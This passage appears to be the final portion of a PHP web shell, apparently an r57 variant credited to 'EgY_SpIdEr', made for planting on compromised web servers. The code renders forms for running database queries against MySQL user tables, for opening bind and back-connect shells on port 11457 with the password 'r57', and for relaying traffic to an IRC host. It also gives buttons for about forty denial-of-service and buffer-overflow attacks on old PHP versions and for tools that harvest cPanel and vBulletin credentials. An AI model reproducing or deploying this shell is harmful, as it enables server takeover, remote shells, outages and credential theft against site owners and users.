6036echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
6037echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
6038echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
6039
6040echo "</td>".$fe."</tr></div></table>";
6041}
6042
6043
6044{
6045echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
6046echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
6047echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
6048echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
6049echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
6050echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
6051echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6052echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
6053echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
6054echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
6055echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
6056echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
6057echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6058echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
6059echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
6060echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
6061echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
6062echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
6063echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
6064echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6065echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
6066echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
6067echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
6068echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
6069echo $te."</td>".$fe."</tr></div></table>";
6070}
6071echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
6072echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
6073echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
6074echo $te."</td>".$fe."</tr></div></table>";
6075
6076echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
6077echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6078echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
6079echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
6080echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
6081echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
6082echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
6083echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
6084echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
6085echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
6086echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
6087echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
6088echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
6089echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
6090echo $te."</td><td valign=top width=25%>".$ts;
6091echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6092echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
6093echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
6094echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
6095echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
6096echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
6097echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
6098echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
6099echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
6100echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
6101echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
6102echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
6103echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
6104echo $te."</td><td valign=top width=25%>".$ts;
6105echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6106echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
6107echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
6108echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
6109echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
6110echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
6111echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
6112echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
6113echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
6114echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
6115echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
6116echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
6117echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
6118echo $te."</td><td valign=top width=25%>".$ts;
6119echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6120echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
6121echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
6122echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe);
6123echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe);
6124/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
6125echo $te."</td></tr></div></table>";
6126echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts;
6127echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
6128echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6129echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
6130echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6131echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>";
6132echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6133echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>";
6134echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6135echo $te.'</div>'.$table_end1.$fe;
6136{
6137
6138
6139
6140echo $te."</td>".$fe."</tr></div></table>";
6141}
6142
6143echo $te."</td></tr></div></table>";
6144echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a egy_spider@hotmail.com>egy_spider@hotmail.com</a> developer by EgY SpIdEr ]---o</b></font></div></td></tr></table>";
6145echo '</body></html>';
6146?>